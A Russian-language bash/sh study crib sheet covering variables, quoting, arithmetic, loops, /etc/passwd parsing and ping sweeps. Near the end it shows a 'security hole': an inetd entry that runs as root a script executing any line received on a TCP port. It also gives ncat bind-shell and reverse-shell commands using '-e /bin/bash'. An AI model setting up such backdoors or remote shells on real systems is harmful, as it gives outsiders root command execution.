Рубрики
bash Конспект разное

Конспект: sh / bash

Переменные:

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную
wget http://что_то_скачать - пытаемся воспользоваться wget


Показать переменные:
set - показывает все переменные окружения
env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:
login, sshd, telnetd,  ~/.profile,  ~/.cshrc и в других файлах.
Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.


Примеры \ присвоения переменной:

0. Переменную распознает программа  
1. Переменную распознает шелл

Пример как присваивается переменная:
a=HEllo
set | grep '^a'

export a
env | grep '^a'

dir=/bin
ls -l $dir

echo $a

a=pwd
$a

Примеры с кавычками:
Различие между кавычками
В одинарных кавычках содержимое выводится как есть.
В двойных кавычках переменные исполняются.

a='Hello World'
echo $a

a="Hello World"
echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:
a=Hello\ World
echo $a

Примеры подстановки переменной:
a="Hello"
b=$a
echo $b

Пример с подстановкой переменно и работы одинарной кавычки
Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.
b='$a World'
echo $b

Пример а если мы всё-таки хотим передать переменную:
На помощь приходят двойные кавычки:
b="$a World"
echo $b

Экранирование(слеш):
Слеш отменяет действие многих спец символов.
b=$a\ world
echo $b

b=\$a\ World
echo $b

b=$aWorld
echo $b

b=${a}World
echo $a
echo $b

Значения переменных рекомендуется брать в фигурные скобки.
b=${a}World
echo $a
echo $b

Арифметика

!!! шелл оперирует переменными окружениями
!!! Арифметики не будет при таких записях:
a=3+6
echo $a

a=222
b=333

c=${a}${b}
echo $c

c=${a}+${b}
echo $c

!!! Арифметике быть!
Для арифметических действий используется конструкция из скобок $(( выражение ))
a=$((3+6))
a=$(($a*6))

А если сделать вот так:
c=((${a}+${b}))
c=$((${a}+${b}))
echo $c

Программа для арифметики expr:
a=1
a=$(expr $a + 1)
echo $a

Применение переменных с программами:

` - обратный апостроф ( не путать с одинарной кавычкой)
` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов
$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'
echo $dir

d=$(date)
echo $d

x=`date '+%Y.%m.%d'`
echo $x

z=$(date '+%Y.%m.%d')
echo $z

c=`ps -uaxf | grep sshd |grep -v grep`
echo $c


сгенерировать случайное число
rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10 
gen10=`seq 10`
echo $gen10

filecount=`ls/bin | wc -l`
echo $filecount


Ввод пользователя

Программа read, ожидает ввода пользователя и сохраняет в переменную
read a
echo $a

Пример использования:
echo -n "Enter Name: "; read a; echo Hello "$a"


Подстановки в файл:

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Чтение переменных с исключением

0. Пример исключаем суффикс sample при выводе переменной i
i=sip.conf.sample

echo $i
echo ${i}
echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i
i='GET /index.html'
echo ${i#GET /}

Удаление переменной

unset CLICOLOR
unset EDITOR
unset http_proxy

Объединение команд (;)

echo -n "Enter Name: "; read a; echo Hello "$a"
sleep 3; echo -e "\007"

Последовательные команды в текстовом файле


Пример файла:
vim 1.txt
---------
echo -n "Enter Name: "
read p
echo Hello "$p"
---------

Пример выполнения 1:
sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:
. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt


Последовательные команды в выполняемом файле


Пример файла f2.sh:
-------------
#!/bin/sh
echo -n "Enter Name: "
read p
echo Hello "$p !!!"
-------------

Выполнение:
chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh
./f2.sh


sh f2.sh
. f2.sh

Функции:

function ()

Специальные символы

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?
man [
test 6 -lt 3
echo $?


$1 - аргумент запуска программы 
$2 - аргумент запуска программы
$3  - аргумент запуска программы

Пример работы:
agr.sh - создаем скрипт
--------------
echo $2 $3 $1
--------------

Ну и проверяем: 
. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&


#  - комментарий


Операторы равенства:
eq  равно (=) (Equals)
ne  не равно (!=) (Not equal)

Операторы диапазона:
gt больше (>) (Greater than)
lt меньше (<) (Less than)
ge больше или равно (=>) (Equal or greater than)
le меньше или равно (=<) (Equal or less than)


Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS
IFS=:

Целочисленный цикл while пример на ping


0. Пример в файле ex2.sh:
---------------
# Пример цикла выполнять до
i=1
while [ $i -lt 254 ]
do
  #test $i = 50 && continue 
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
done

---------------
Запуск:
ex2.sh 192.168.1



1. Пример в файле ex3.sh:
---------------
# Пример цикла выполнять до
i=1
while :
do
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
  test $i -eq 254 && break # прервет цикл
done
---------------

Примеры цикла for:

Пример показать все файлы заканчивающийся на (*.txt) :
for i in *.txt; do echo $i; done

Пример массового переименования:
for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно: 
for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

Пример как показать все crontab всех пользователей: 
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:
for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:
for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do  mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Чтение из файлов, парсинг файлов, while, for:

Пример использования IFS, перенаправления в read
------------------------
#!/bin/sh
IFS=:
while read a b c d e f g
do 
   echo "$a $g"
done < /etc/passwd
------------------------



Пример с использованием for
------------------------
#!/bin/sh
for i in `cut -d: -f1 /etc/passwd`
do
  echo user $i
done
------------------------

Пример for, while

!!! ls создается список файлов
!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла 
Пример 1:
for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done 
Пример 2:
ls * | while read file ; do echo "$file" && cat "$file" ; done

Пример (while read LINE), удаление файлов:

!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null) 
!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в  каталоге (/dir/dir2/) старше 5 дней и удаляем их


Пример скрипта:
/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do
    echo "[/dir1/dir2/dir3] ${LINE}"
    rm -rf "${LINE}"
done

Пример дыры в безопасности:

!!! для работы понадобится openbsd-inetd (суперсервер inetd)
!!! настроить его
!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта
!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh 

vim cmd.sh
----------------
#!/bin/sh
while read cmd
do 
$cmd
done
----------------



В Ncat
Для создания шелла на удалённом компьютере:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
ncat -e "/bin/bash" [IP] [ПОРТ]